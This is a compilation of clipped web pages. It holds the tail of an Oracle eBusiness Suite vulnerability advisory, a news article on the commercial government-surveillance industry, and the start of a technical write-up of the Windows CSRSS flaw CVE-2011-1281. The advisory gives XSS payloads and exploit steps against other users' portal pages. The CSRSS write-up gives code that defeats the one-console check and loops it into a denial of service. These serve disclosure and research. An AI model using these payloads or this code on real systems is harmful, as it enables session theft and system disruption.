http://host:port/pls/\[DADName\]/icx\_define\_pages.DispPageDialog?p\_mode=RENAME&p\_page\_id=\[page\_id\]

http://host:port/pls/\[DADName\]/icx\_define\_pages.DispPageDialog?p\_mode=CREATE

The injected script will be executed when the user accesses the main URL:
http://host:port/pls/\[DADName\]/OracleMyPage.home

It is important to note that our testing has indicated that different versions
have different mitigation levels of this vulnerability, requiring, in some
situations, utilizing XSS evasion techniques to overcome certain input
validation and sanitation mechanisms:

  * For earlier versions, injecting a simple <SCRIPT> suffices:
**< SCRIPT>alert\('XSS'\)<SCRIPT>**

  * Some versions limit the permitted characters, and thus require the tester to inset Java-script without utilizing tags, by injecting a script into the text box as follows:
**"\);alert\('XSS'\);//**

  * Later versions appear to also enforce server-side length restrictions on the vulnerable parameters. As a result, multiple separate injections are required to achieve script execution, such as:
**"\);/\***

 **\*/alert/\***

 **\*/\(/\***

 **\*/'XSS'/\***

 **\*/\);//**

**_Exploit_**

The exploit is performed by combining the three vulnerabilities, as described
in the following scenario:

  1. Initially, an attacker gains guest access to the system, by first accessing:
http://host:port/OA\_HTML/OA.jsp

<img src='img/Temp2_3609' width='509' height='276' />

While an error is generated at this step, the attacker can proceed now to the
"My Homepage" page, which will now allow guest access:

http://host:port/pls/\[DADName\]/OracleMyPage.home

<img src='img/Temp2_3608' width='505' height='288' />

  2. The attacker now goes to edit his personal homepage, by accessing the "Edit Page List" URL:
http://host:port/pls/\[DADName\]/icx\_define\_pages.editpagelist

The attacker then selects his homepage, and clicks  _Rename_ \(opening the
following URL\):

http://host:port/pls/\[DADName\]/icx\_define\_pages.DispPageDialog?p\_mode=RENAME&p\_page\_id=\[page\_id\]

<img src='img/Temp2_3605' width='504' height='256' />

  3. The attacker now changes the page\_id to the page\_id of the victim's page \(as this is an incremental ID, simple trial and error could be used until the administrator's user page is identified\).
<img src='img/Temp2_3607' width='504' height='262' />

  4. The attacker then uses the  _Rename Form_ to change the name of the page from its original name to an embedded script:
**"\);alert\('XSS'\);//**

This script can now be replaced with the relevant payload, for instance, a
script that steals the session ID and sends it to the attacker.

When the victim logs in to the portal, the script will execute:

<img src='img/Temp2_3606' width='501' height='293' />

**_Affected Systems_**

This vulnerability was tested and identified in Oracle eBusiness Suite
versions 10 and 11.

**_Vendor's Response/Solution_**

Oracle's security alerts group has been notified of this vulnerability in
early November.

According to Oracle, the first issue is not a vulnerability, guest access is
permitted by design. The other two have been acknowledged by Oracle, and have
been fixed in the Jan-2009 CPU:

http://www.oracle.com/technology/deploy/security/critical-patch-
updates/cpujan2009.html

 _It is important to note that the default fix for this vulnerability is a
script removing this interface \(which is now replaced with a new OA
Framework\). Customers unwilling or unable to switch to the new interface,
should apply patch 7567354 which, according to Oracle, fixes these
vulnerabilities on the obsolete packages \(Hacktics has not performed tests to
verify this patch\)._

**_Credit_**

These vulnerabilities were discovered by:

Shay Chen, Technical Leader, Security Services, Hacktics.

Additional Contribution:

Gil Cohen, Application Security Consultant, Hacktics.

Oren Hafif, Application Security Consultant, Hacktics.

# The unstoppable rise of the global surveillance profiteers

**Created:**| _12/8/2014 5:42:34 PM_  
---|---  
**Updated:**| _12/8/2014 5:42:34 PM_  
**Author:**| __  
**Tags:**| _social_  
  

# The unstoppable rise of the global surveillance profiteers

By Aaron Sankin on December 7th, 2014

Imagine if your government put a price tag on your privacy, acquiring shadowy
surveillance technology that exploited your personal vulnerabilities.

Earlier this year, journalists at the Ethiopian Satellite Television Service
\(ESAT\) were sent something sketchy. The Amsterdam-based TV channel holds
itself up as an alternative to the country’s tightly controlled state-run
media and regularly runs programming critical of Ethiopia’s ruling regime. As
such, the station’s broadcasts in the country are regularly jammed by
government censors, and a recent documentary aired on state-run TV urged
Ethiopians not to participate in ESAT’s programming.

The first suspicious message arrived one afternoon via Skype to an ESAT
employee in Belgium who was managing a company account. The message supposedly
came from from Yalfalkenu Meches, a former contributor who had been out of
contact for some time, and it included an attached file titled “An Article for
ESAT” that raised a litany of red flags. It contained a veiled .exe file—the
kind that triggers programs to start running on Windows machines and is the
primary carrier of viruses—whose name included a long string of spaces
designed to hide its true identity.

Suspecting that something was amiss, the employee refused to open the file,
but Meches tried again—this time sending over a Microsoft Word document. Less
than two hours later, Meches reached out to another ESAT employee, this one
based in the company’s northern Virginia office, with a similar offer of an
interesting article. Once again, Meches, or whoever had assumed his online
identity, was rebuffed.

ESAT forwarded the emails to Citizen Lab, a multidisciplinary group at the
University of Toronto’s Munk School of Global Affairs working on Internet
freedom issues like censorship and surveillance, with a focus on the actions
of repressive governments. Activists from around the world send files to
Citizen Lab that they suspect contain viruses, and the group’s programmers
will download them, rummage through the source code, and determine if there’s
foul play involved.

Citizen Lab found that one of the ESAT messages exploited a bug in Microsoft
Word that would make the infected system covertly download a virus from a
remote server as soon as it was opened. The virus was one of the tendrils of
something called Remote Control System, which was developed by a Milan, Italy-
based company called Hacking Team.

Hacking Team is part of a new breed of companies that have sprouted up in the
years since 9/11 sparked a global war on terror and a wired technological
revolution. As the U.S. developed the online surveillance tools that, over a
decade later, would eventually be revealed to the world by National Security
Agency whistleblower Edward Snowden, savvy businesses across the globe
realized there were plenty of countries that might not be able to afford to
develop such sophisticated technology in-house but still had money to burn.

Third-party surveillance tools have grown from a virtually nonexistent
industry in 2001 to one raking in over $5 billion annually. It’s also enabled
countries around the world to cheaply establish a crude surveillance state,
one that manipulates citizens and threatens their privacy.

Citizen Lab knew that the operator of the Meches account was working for the
Ethiopian government because Hacking Team only sells its products to
governments. And Hacking Team wasn’t alone in giving the Ethiopian government
precisely what it needed to spy on the people whose activities it didn’t like.

> “The systems we are talking about are getting smaller, faster and cheaper
> every day.” —Marietje Schaake
One year earlier, Citizen Lab came across a piece of malware circulating
through the wilds of the Internet that hid itself behind pictures of Ethiopian
opposition party Ginbot 7, which the government had designated a terrorist
group. When researchers examined the virus, they discovered it was designed to
send information to a server in Ethiopia that had been previously identified
as being associated with a private surveillance software called FinFisher,
made by company called Gamma International.

This map shows all of the countries where Citizen Lab has identified servers
running FinFisher. \(Note: The presence of a FinFisher server in a country
doesn’t necessarily mean that the government of that country is using the
program; some of the servers listed here are undoubtedly acting as
intermediaries to disguise the intercepted data’s ultimate endpoint.\)

<img src='img/Temp2_8359.jpg' alt='FinFisher map' />

The implication here is fascinating, noted Kenneth Page of the nonprofit
Privacy International. Not only is the Ethiopian government outsourcing the
construction of its surveillance technology, but it’s actively shopping
around—using different programs made by different companies.

“We couldn’t tell if it was a result of two different departments in the same
government working independently or if it was just the government buying two
different products to determine which one worked better,” said Page, whose
group is part of the Coalition Against Unlawful Surveillance Exports
\(CAUSE\), which advocates to control the flow of this type of surveillance
technology. “Even within the industry itself, there’s a healthy competition.”

There’s a major demand for electronic surveillance equipment and a thriving
ecosystem of companies from Canada from to Israel willing to sell off-the-
shelf surveillance solutions to any government with a few hundred thousand
dollars to spare. Since the market for these goods is both opaque and truly
global, for groups like CAUSE, halting the flow of this technology is an
uphill battle.

## **The balance between safety and privacy**

There are very good reasons why a government might legitimately depend on this
type of surveillance software. On the most basic level, governments need to
track terrorists and hardened criminals—two groups of people that, like pretty
much everyone else, use the Internet to communicate.

“There are a lot of bad people in the world who are relying on these
systems—telephones, mobile phones, Skype, Tor, tablets, and computers—to do
what they do, and that is a threat to all of us,” insisted Hacking Team
spokesman Eric Rabe. “There is a real question here about the public’s need
for privacy and our need for security. If we come down 100 percent on the side
of privacy, which seems to be in vogue in tech right now, we are putting
ourselves at very legitimate risk. And to ignore that is foolhardy. I think,
by and large, we and the other people who are protecting this software are
working to keep people safe.”

Rabe insisted that Hacking Team goes to great lengths to ensure that the
governments it sells to won’t use the products for ill, including an
independent review process that exists outside of the company’s commissioned
sales staff. Additionally, he noted, if a country were found to be using
Hacking Team’s software to violate human rights, the company could stop
sending over the updates necessary for its programs to bypass regularly
updated commercial virus-detection software. Rabe declined to specifically
state if this type of revocation has ever occurred. Even if it does happen,
the programs would still be functional and effective to everyone who doesn’t
has patched to the latest version of antivirus software.

> Actually stopping a company from selling this technology is far tougher than
> it seems.
Representatives from Gamma did not respond to a request for comment.

Nevertheless, for many Ethiopians, the government’s use of these surveillance
technologies can be a matter of life and death. A report released by Human
Rights Watch earlier this year detailed how widely electronic surveillance in
the country was used to keep the government’s critics in check:

Recorded phone calls with family members and friends—particularly those with
foreign phone numbers—are often played during abusive interrogations in which
people who have been arbitrarily detained are accused of belonging to banned
organizations. Mobile networks have been shut down during peaceful protests
and protesters’ locations have been identified using information from their
mobile phones.

A former opposition party member told Human Rights Watch: “One day they
arrested me and they showed me everything. They showed me a list of all my
phone calls and they played a conversation I had with my brother. They
arrested me because we talked about politics on the phone. It was the first
phone I ever owned, and I thought I could finally talk freely.”

The report noted that much of the technology used to monitor the country’s
entire telecom network was provided by a Chinese firm called ZTE. But there
are a litany of other options Ethiopian officials could have chosen from to
meet their snooping needs.

WikiLeaks has been tracking the ecosystem of surveillance companies in a
project called Spy Files since 2011. Spy Files hosts leaked documents from
nearly 100 different companies in the surveillance technology business.

Since the industry is so active, and demand for the products is so enormous,
the likelihood that one of these companies will sell to autocratic regimes is
high. South African firm VASTech was found to have sold a system to former
Libyan dictator Muammar Gaddafi that was used to track and record every single
phone call coming into and out of the country, a practice that allegedly
amounted in over 30 million minutes of phone conversations every month. Not
only did VASTech maintain a relationship with Libya for years, but the South
African government approved hundreds of thousands of dollars worth of grants
to the company, knowing full well that the funds would be going toward the
production and sale of surveillance technology.

Professionally produced software isn’t the only option available to a
government looking for a virus that can infect a target and report back
everything that person does online. If it wanted to, a government could employ
the same tools cybercriminals around the world use to steal credit card
information and hack personal email accounts every day. In fact, during
Syria’s civil war, government affiliates used the Blackshades Remote Access
Tool \(RAT\), a powerful cyberweapon developed in the U.S.

> Third-party surveillance tools have grown from a virtually nonexistent
> industry in 2001 to one raking in over $5 billion annually.
However, companies like Hacking Team and Gamma International provide a
complete package with their specialty products. Customers can ring technical
support if something goes wrong. The programs are designed to display data in
a way that’s easily readable and specifically customized to meet that
government’s needs. Most importantly, the software is constantly updated to
avoid firewalls and antivirus programs because what’s untraceable today may be
easily defended against tomorrow.

Marietje Schaake, a member of the European Parliament who has long advocated
the implementation of strict international controls on the export of
surveillance technology, argues that, even outside of the context of
authoritarian regimes, the proliferation of these types of Orwellian
technology is problematic.

“I think people have a legitimate reason to be concerned about the spread of
intrusion and mass surveillance technologies on the broadest sense,” Schaake
insisted. “This is very much a discussion we must also have in our own
societies—for example, when it comes to the powers of intelligence services.
The many cases of abuse indicate the massive impact they have on human
rights.”

Schaake has been interested in the issue since her first days in the European
Parliament, when she saw how the Iranian government used surveillance
technology provided by Nokia Siemens Networks to intercept the communications
of and track down dissidents during widespread public demonstrations that
erupted following Iran’s disputed 2009 presidential election. The willingness
of a well-respected European company like Nokia Siemens Network to help a
repressive government like Iran crack down on its own people really struck a
nerve.

“These systems are used to intercept communications, access people’s devices,
and track down dissidents,” she explained. “It demonstrates the devastating
impact the unregulated trade in technologies can have on human rights.”

## **The Wassenaar Arrangement**

Actually stopping a company from selling this technology is far tougher than
it seems. For one thing, banning the sale of all surveillance software may
ultimately do more harm than good.

“If you draw restrictions that are overly broad, you catch up technologies
that have legitimate uses and harm the country’s business interests,”
explained Danielle Kehl, a policy analyst at the New America Foundation’s Open
Technology Institute, which is also part of the CAUSE coalition. “It could
have a negative impact on the free flow of information and severely hinder
research.”

What makes the problem even more difficult is there’s little a single country
can do on its own.

The United States, for example, has a complex set of export controls that
require companies selling surveillance technologies abroad to first receive
specific approval from the Departments of Commerce, Defense, and State to do
so.

Even with these controls in place, the system has been known to break down. In
2011, California-based surveillance tech firm Blue Coat admitted that 13 of
its Internet filtering systems, which a spokesperson insisted the company had
initially sold to Iraqi authorities, ended up in the hands of Syrian President
Bashar al-Assad, who used them as censorship mechanisms in the midst of the
nation’s brutal civil war.

Over the last few years, the international community has gotten together and
started seriously addressing the global trade of surveillance equipment in an
effort to ensure that these programs don’t fall into the wrong hands. The
mechanism for doing that is called the Wassenaar Arrangement.

> “There is a real question here about the public’s need for privacy and our
> need for security.” —Eric Rabe, Hacking Team
A few years after the end of Cold War, world leaders met in a suburb of the
Hague called Wassenaar and struck a deal to control the flow of conventional
military technology. The agreement wasn’t binding like an official treaty;
instead, it was more like a gentleman’s agreement by which each of the 41
participating nations agreed to do their best to subsequently ratify in their
individual national legislatures whatever the diplomats in Wassenaar agreed
upon.

Wassenaar has been in place since 1996, but it’s only been in the past two
years that surveillance technologies have been added to the list. Updates to
Wassenaar occur once a year; the 2014 plenary meeting was held last week, so
the process is slow. Transferring those updates to individual member states is
even slower—especially in the case of the European Union, whose process for
adoption is positively glacial.

Without a comprehensive, international system of controls preventing companies
in virtually every country from supplying surveillance technology to bad
actors, it’s relatively easy for a firm that wants to sell surveillance
technology to do so—or to simply set up a subsidiary in the next country over
and sell to whomever it wants. Since the Wassenaar Arrangement only covers 41
out of the world’s 196 countries, finding a nation to set up shop in that
lacks any kind of surveillance tech export controls likely isn’t all that
difficult.

One problem that advocates of stricter regulations like Schaake have with the
way Wassenaar functions is that the controls, which give countries the ability
to decide whether to grant specific export licenses, are enacted at the level
of each individual government and aren’t necessarily consistent. That opens a
window for companies to shop around. Just because one government denies a
license, that doesn’t mean the company couldn’t just apply in another
jurisdiction that’s more forgiving.

While Europe has been slow in establishing a consistent set of export
controls, at least one country has elected to take strong, unilateral action.
Earlier this year, German Economy Minister Sigmar Gabriel announced the
country was placing a moratorium on the sale of all surveillance technology to
a handful of nations it viewed as problematic—including Russia and
Turkey—until a comprehensive solution is implemented by the E.U. as a whole.

> There’s a major demand for electronic surveillance equipment and a thriving
> ecosystem of companies willing to sell off-the-shelf surveillance solutions
> to any government with a few hundred thousand dollars to spare.
“Supporters of Internet freedom are not supposed to deliver corresponding
technology to the hands of such regimes which monitor Internet users and thus
violate the most basic human rights,” Gabriel told Turkish English-language
newspaper the _Daily Sabah_.

In addition, deciding precisely what qualifies a country as undeserving of
surveillance technology is a tricky question in and of itself. It’s a simple
decision not to allow an American company to sell malware to the government of
North Korea, which seems to be doing pretty well on its own. The issue gets
far thornier, however, when it comes to countries whose human rights records
might not be stellar but aren’t quite bad enough to justify being ostracized
by the international community.

Take Saudi Arabia, for example. The Saudi government has received considerable
criticism for how it treats religious minorities and political dissidents; yet
the country sat on the United Nations’ Human Rights Council as recently as
2012. In March, a group of 52 members of Congress wrote an open letter urging
President Obama to advocate for reform during a then-upcoming meeting with
Saudi Arabia’s King Abdullah, but the U.S. government recently sold the
country $30 billion worth of F-15 fighter jets. In that context, making the
argument that the U.S. should prohibit, or even significantly limit, the sale
of surveillance equipment explicitly designed to catch terrorists to one of
its prime strategic allies in the Middle East is a difficult one to make. As a
result, privately designed surveillance software designed by former-Boeing
subsidiary Narus has been identified in Saudi Arabia.

The issue of speed is also huge. Right now, Wassenaar only covers a few types
of surveillance technology.

Last year, Wassenaar added two more technologies to its export control list.
The first type, called “Advanced Persistent Threat Software,” is essentially
malware designed to circumvent the security features on a given device and
then exact information from it. The category consists of viruses that log
every button typed onto a computer keyboard and ones that use a phone’s GPS to
record everywhere its owner travels. The second type includes systems that
monitor telecommunications networks for the purposes of mass surveillance and
intercepts information like emails, Google searches, and voice over Internet
protocol \(VoIP\) calls via programs like Skype. The year before, the group
started regulating tech that can be used to impersonate cell towers and allow
governments to monitor communications using man-in-the-middle attacks.

These are the only technologies even theoretically controlled across
participating countries in a coordinated fashion. It leaves an enormous gap
for other types of systems that haven’t yet been added to the list.

> For many Ethiopians, the government’s use of these surveillance technologies
> can be a matter of life and death.
Kenneth Page of human rights group Privacy International gives the example of
a Dubai-based company called Advanced Middle East Systems, which sells a
superhero-inspired product called Cerebro. It can be used to tap into fiber-
optic cables carrying Internet traffic and intercept all of the data being
passed through without the need for the cooperation of the telecom company
that owns the pipe.

Advanced Middle East Systems’ marketing materials state that the export of
Cerebro is subject to the United Arab Emirates licensing controls. Page
argues, however, that decision is left up to authorities in the U.A.E., and
there’s nothing in Wassenaar that could stop it.

## **The Wiretapper’s Ball**

Like any major industry, the companies in the business of selling surveillance
technology have conferences. Those trade shows, which are held a few times a
years in locations like Mexico and Dubai are called ISS World, more commonly
known as the “Wiretapper’s Ball.”

ISS World gives everyone involved in the government surveillance business,
from the vendors of surveillance technology to the government intelligence
agents themselves, the chance to talk shop. The list of talks the conference
held in Kuala Lumpur, Malaysia, earlier this year include:

  * How to intercept wireless communications on 3G, 4G and LTE networks mobile networks
  * How to carry out remote stealth surveillance on encrypted traffic networks
  * How to use encryption to avoid remote stealth surveillance
  * How to use facial recognition technology and gathering metadata on images posted on Facebook
  * How to defend your networks against zero-day attacks—meaning, ones exploiting previously unknown holes in digital security systems

From what public accounts do exist, the events themselves seem like profoundly
weird experiences.

A Bloomberg News report about an ISS World conference in Kuala Lumpur in 2011
noted that, unlike almost every other business conference in existence, there
are no cocktail parties. Attendees try to avoid even being seen talking
congregating with each other in public. That kind of socialization isn’t
encouraged when the stated profession of nearly everyone in attendance is
stealing secrets and the events are potential recruiting grounds for double
agents.

At a previous iteration of the conference in Prague, one telecom regulator
from an African government looked up from his tablet to see the action being
displayed on his monitor also being projected on a screen at the front of the
room in real time. He had logged the hotel’s wireless Internet and someone had
quickly hacked his system to teach him an important lesson about what happens
when one is insufficiently paranoid in a room packed with spies.

ISS World’s organizer, a Virginia-based company called TeleStrategies, is
notoriously secretive. It doesn’t allow journalists into its conventions and,
when contacted by the Kernel, a representative said the company has a policy
of not granting interviews with the press.

> The software is constantly updated to avoid firewalls and antivirus programs
> because what’s untraceable today may be easily defended against tomorrow.
However, the organization has apparently let in representatives from Sudan,
Iran, and Syria—nations whose repressive governments have earned them a place
on the list of countries sanctioned by the U.S. government. According to a
report by independent researcher Colin Anderson, TeleStratagies requires that
attendees register under the umbrella of larger, pre-screened organizations.

“In the case of Sudan, TeleStrategies has indicated knowledge of the
participant’s nationality through its disclosed attendance records,” Anderson
wrote. “Six of the listings are entities of the Government of Sudan, and three
of which, recorded as ‘Governmental LEA,’ ‘Sudan Ministry of Interior,’ and
‘Sudan National Telecommunication Authority’, are directly cited within the
State Department’s Human Rights Reports as parties in the country’s online and
offline human rights abuses.”

For their part, the conference’s organizers say they do what they can to block
representatives from some of the world’s most notorious governments from
attending. Other than that, as TeleStratagies President Jerry Lucas charges,
ethical concerns are “not our responsibility.”

It’s a sentiment echoed by Hacking Team spokesman Eric Rabe. He insists that,
outside of building and helping set up the technology, his company plays no
part in whatever investigations its governmental customers decide to carry
out. “I don’t think you want Hacking Team to be the universal arbiter of what
countries are good and what countries are bad,” he noted. “That’s why we rely
on blacklists; that’s why we rely on governments to help us.”

In one sense, that shirking of moral responsibility is a dodge. But in
another, it’s hard logic to argue with. If governments don’t set up clear
rules about the sale of these technologies, there’s going to be nothing
stopping companies from selling whatever they want to the highest bidder—even
if the intentions of that highest bidder are less than honorable.

“The systems we are talking about are getting smaller, faster and cheaper
every day,” Schaake told the Kernel. “Technologies that are sold as law
enforcement tools can easily be abused in countries where the rule of law is
not upheld, and where journalists, human rights defenders, opposition
politicians, and ordinary citizens are attacked by their governments through
these tools.”

If government regulators and activists want to have any hope of ensuring
Internet freedom for billions of people around the world, they’re going to
have to act fast.

_Illustration by J. Longo_

# CVE-2011-1281: A story of a Windows CSRSS Privilege Escalation vulnerability | j00ru//vx tech blog
**Created:**| _7/15/2011 2:28:18 PM_  
---|---  
**Updated:**| _7/15/2011 2:28:18 PM_  
**Author:**| __  
**Tags:**| _attacks windows security Exploit_  
  

## CVE-2011-1281: A story of a Windows CSRSS Privilege Escalation
vulnerability

Today, I would like to present a detailed description of the CVE-2011-1281
vulnerability \[1\], which was reported by me several months ago and patched
today, together with four other bugs marked as the _Elevation of Privileges_
class, on the occasion of the monthly Microsoft Patch Tuesday cycle \(see
Microsoft Security Bulletin MS11-056, a summary of the flaws’ origin and
severity\). All of the issues were present in the Windows CSRSS
\(Client/Server Runtime Subsystem\) component, already mentioned in several of
my posts \[2\]\[3\]\[4\] and articles \[5\]\[6\]. Some of these problems
affected every edition of the Windows NT-family systems up to Windows 2008/7,
while the remaining part was only present up to Windows Vista. The latter is
primarily caused by the fact, that all of the flaws were found in the Console
Management code present in _winsrv.dll_ \(one of the modules used by the
Windows Subsystem\). Due to some major architecture changes applied in Windows
7 \[7\], the console support was \(almost\) entirely moved from the privileged
CSRSS process into CONHOST.EXE, running in the context of the local user.

The blog post is meant to open up a series of technical write ups, explaining
the origin and exploitation process of all the CSRSS issues just fixed. Apart
from five high-impact vulnerabilities, publically announced by Microsoft, I
will also present two Denial of Service bugs, which can be used to generate an
unhandled Access Violation exception, resulting in the CSRSS crash and a Blue
Screen of Death. A complete list of the flaws to be discussed, together with
their root cause is shown below:

CVE-2011-1281| CSRSS Local EOP AllocConsole Vulnerability| Lack of Sanity
Check  
---|---|---  
CVE-2011-1282| CSRSS Local EOP SrvSetConsoleLocalEUDC Vulnerability| Integer
Signedness Error  
CVE-2011-1283| CSRSS Local EOP SrvSetConsoleNumberOfCommand Vulnerability|
Integer Signedness Error  
CVE-2011-1284| CSRSS Local EOP SrvWriteConsoleOutput Vulnerability| Code Logic
Error  
CVE-2011-1870| CSRSS Local EOP SrvWriteConsoleOutputString Vulnerability|
Integer Overflow  
DoS Vulnerability \#1| -| Invalid 16-bit Integer Wrap  
DoS Vulnerability \#2| -| Integer Signedness Error  
Along with the operating system internals and technical information related to
the first vulnerability from the list, I am also going to cover possible
exploitation vectors, which can be used to achieve reliable code execution in
a real environment. The vulnerability itself is an example of a **Handle-based
Use-after-free** **condition** , and is – to my best knowledge – the first
publicly disclosed and documented vulnerability of this type. In order to
better understand the techniques and concepts presented herein, you are
strongly adviced to read the _Windows Numeric Handle Allocation in Depth_
\[8\] article, providing detailed information about the handle allocation
mechanisms found in the Windows NT kernel. Have fun, and stay tuned for
successive blog entries\! As always, comments of any kind are encouraged <img
src='img/Temp2_1304.gif' alt=':-)' />

**Note** : Despite newer Windows platforms being affected as well, all
exploitation considerations contained in this article are only confirmed for
the Windows XP operating system. Furthermore, CSRSS not being part of the
Windows kernel, its sources cannot be found in the WRK \(Windows Research
Kernel\) package. Consequently, as the C code listings presented herein have a
strictly illustrative purpose, some of them come form the ReactOS project
source code \(explicitly marked\).

Before proceeding to technical details, you can watch an exploitation video:

## **The basics  
**

One of the most elementary assumptions of the Windows console support, is the
fact that a single process can be assigned a maximum of one console. The
statement can be found in numerous locations thorough the MSDN documentation,
e.g. the AllocConsole and AttachConsole function references:

> A process can be associated with only one console, so the **AllocConsole**
> function fails if the calling process already has a console.
> A process can be attached to at most one console. If the calling process is
> already attached to a console, the error code returned is
> ERROR\_ACCESS\_DENIED \(5\).
If we take a look at the kernel32.dll implementation of the AllocConsole
routine, it turns out that the developers did remember about the
aforementioned principle:

[code]

    .text:7C87235E                 mov     eax, large fs:18h
    .text:7C872364                 mov     [ebp+var_43C], eax
    .text:7C87236A                 mov     eax, [eax+30h]
    .text:7C87236D                 mov     eax, [eax+10h]
    .text:7C872370                 cmp     [eax+10h], ebx
    .text:7C872373                 jz      short loc_7C872387
    .text:7C872375                 push    5               ; dwErrCode
    .text:7C872377                 call    _SetLastError@4 ; SetLastError(x)
    .text:7C87237C                 mov     [ebp+var_42C], ebx
[/code]

The assembly code can be easily translated into the following C snippet:

[code]

    if(CurrentProcessPEB()->ProcessParameters->ConsoleHandle != NULL)
    {
      SetLastError(ERROR_ACCESS_DENIED);
      return (FALSE);
    }
[/code]

Apparently, the condition is correctly verified on the application’s
\(client\) side. Following that code, numerous calls to internal kernel32
routines are issued, including AllocConsoleInternal – a function primarily
responsible for sending the actual console creation request to the Windows
Subsystem. The goal is achieved by packing the configuration data into a
special _shared buffer_ , and calling **ntdll\!CsrClientCallServer** with the
_SrvAllocConsole_ operation code. Until now, every single part of the
execution path – such as avoiding input sanitization or modifying functions’
parameters – could have been modified by the application itself.

[code]

    .text:7C871F2B                 push    2Ch
    .text:7C871F2D                 push    20224h
    .text:7C871F32                 push    ebx
    .text:7C871F33                 lea     eax, [ebp+var_BC]
    .text:7C871F39                 push    eax
    .text:7C871F3A                 call    ds:__imp__CsrClientCallServer@16 ; CsrClientCallServer(x,x,x,x)
    .text:7C871F40                 xor     esi, esi
    .text:7C871F42                 cmp     [ebp+var_9C], esi
[/code]

After the console request is sent and dispatched by CSRSS, there is not much
of a control, anymore. An \(A\)LPC message is first received by the
csrsrv\!CsrApiRequestThread function, and then passed to an adequate operation
handler – that is, **winsrv\!SrvAllocConsole**. Its prologue starts with the
following assembly lines:

[code]

    .text:75B4D1A7 ; int __stdcall SrvAllocConsole(LPHANDLE lpTargetHandle, int)
    .text:75B4D1A7 _SrvAllocConsole@8 proc near            ; DATA XREF: .text:75B38A80o
    .text:75B4D1A7
    .text:75B4D1A7 var_C           = byte ptr -0Ch
    .text:75B4D1A7 var_4           = dword ptr -4
    .text:75B4D1A7 lpTargetHandle  = dword ptr  8
    .text:75B4D1A7
    .text:75B4D1A7                 mov     edi, edi
    .text:75B4D1A9                 push    ebp
    .text:75B4D1AA                 mov     ebp, esp
    .text:75B4D1AC                 sub     esp, 0Ch
    .text:75B4D1AF                 push    ebx
    .text:75B4D1B0                 mov     ebx, [ebp+lpTargetHandle]
    .text:75B4D1B3                 push    esi
    .text:75B4D1B4                 push    edi
    .text:75B4D1B5                 lea     esi, [ebx+28h]
    .text:75B4D1B8                 mov     eax, large fs:18h
    .text:75B4D1BE                 mov     eax, [eax+3Ch]
    .text:75B4D1C1                 mov     eax, [eax+20h]
    .text:75B4D1C4                 mov     eax, [eax+74h]
    .text:75B4D1C7                 mov     edi, ds:__imp__CsrValidateMessageBuffer@16 ; CsrValidateMessageBuffer(x,x,x,x)
    .text:75B4D1CD                 push    1
    .text:75B4D1CF                 push    dword ptr [esi+4]
[/code]

As can be seen, the routine begins from validating the input buffers, and than
proceeds \(not shown\) straight to console allocation. \(Un\)surprisingly, the
code doesn’t check, whether there is a text interface already associated with
the client process\! The above observation leads to a trivial conclusion – the
only conditional jump preventing an application from creating more than one
console at a time, is performed in the local context of the requestor itself\!

The following function \(gcc-compatible\) can be used to zero out the
“ConsoleHandle” field, so that multiple kernel32\!AllocConsole calls do not
fail anymore:

[code]

    VOID ClearHandle()
    {
      // fs:[0x18] points to the virtual address
      // of the Thread Environment Block (TEB) structure.
      __asm("mov eax, fs:[0x18]");
    
      // kd> dt _TEB
      // nt!_TEB
      //    +0x000 NtTib            : _NT_TIB
      //    +0x01c EnvironmentPointer : Ptr32 Void
      //    +0x020 ClientId         : _CLIENT_ID
      //    +0x028 ActiveRpcHandle  : Ptr32 Void
      //    +0x02c ThreadLocalStoragePointer : Ptr32 Void
      //    +0x030 ProcessEnvironmentBlock : Ptr32 _PEB
      __asm("mov eax, [eax+0x30]");
    
      // kd> dt _PEB
      // nt!_PEB
      //    +0x000 InheritedAddressSpace : UChar
      //    +0x001 ReadImageFileExecOptions : UChar
      //    +0x002 BeingDebugged    : UChar
      //    +0x003 SpareBool        : UChar
      //    +0x004 Mutant           : Ptr32 Void
      //    +0x008 ImageBaseAddress : Ptr32 Void
      //    +0x00c Ldr              : Ptr32 _PEB_LDR_DATA
      //    +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
      __asm("mov eax, [eax+0x10]");
    
      // kd> dt _RTL_USER_PROCESS_PARAMETERS
      // nt!_RTL_USER_PROCESS_PARAMETERS
      //    +0x000 MaximumLength    : Uint4B
      //    +0x004 Length           : Uint4B
      //    +0x008 Flags            : Uint4B
      //    +0x00c DebugFlags       : Uint4B
      //    +0x010 ConsoleHandle    : Ptr32 Void
      __asm("mov dword ptr [eax+0x10], 0");
    }
[/code]

Given the above procedure, one may successfully execute the following code:

[code]

    AllocConsole(); // (1)
    ClearConsole();
    AllocConsole(); // (2)
[/code]

consequently getting CSRSS to create two console windows. Even though the
first one is still displayed on the screen and has its events dispatched, it
is now a _zombie console_. Namely, it becomes impossible to reference such a
window by any means, unless it has another process attached, which we assume
it does not. What is even more interesting, the window remains present on the
user’s desktop, even after the parent application terminates. Given the
circumstances, the flaw already enables a potential attacker to consume the
machine resources \(physical memory\), in such a way it cannot be released
until system reboot – in other words, a typical Denial of Service condition.

The result of running the following code snippet:

[code]

    while(1)
    {
      AllocConsole();
      ClearHandle();
    }
[/code]

is shown below:

<img src='img/Temp2_1303.gif' width='991' height='255' />

## Going deeper

Having just achieved a reliable DoS condition, it is time to wonder if the
vulnerability can be used to do anything more than that. Fortunately, it can.
Being designed to manage a maximum of one console per process, CSRSS is unable
to store _more_ information that the developers originally assumed, when
creating internal structure definitions. Consequently, the per-process
structure held by the Windows Subsystem only contains a single field to store
the console handle. The above can be confirmed by investigating the ReactOS
code \(an accurate copy of the original Windows sources\):

[code]

    typedef struct _CSRSS_PROCESS_DATA
    {
      struct tagCSRSS_CONSOLE *Console;
      struct tagCSRSS_CONSOLE *ParentConsole;
    
      (...)
    
      HANDLE ConsoleEvent;
    
      (...)
    } CSRSS_PROCESS_DATA, *PCSRSS_PROCESS_DATA;
[/code]

As a direct result, it is not possible to allocate multiple consoles in the
context of one process, without dealing damage to the structures’ references.
Thus, associating a second text window to a process that already owns one
console gets CSRSS to overwrite the information about previous allocations:

[code]

        /* Set the Process Console */
        ProcessData->Console = Console;
[/code]

The worst thing about the behavior is that the previous console is not freed
by the faulty SrvAllocConsole code – it is simply _forgotten_ about, as if it
never existed – hence, the text window’s reference count is not decremented.
Normally, CSRSS decrements the console refcount upon the termination of one of
the console clients; however, the operation is only performed in the context
of one, single console currently assigned to the terminating application
\(referenced through ProcessData->Console\).

This leaves us with one or more _dangling_ consoles, which in themselves do
not pose a serious problem \(they only occupy the virtual space of the
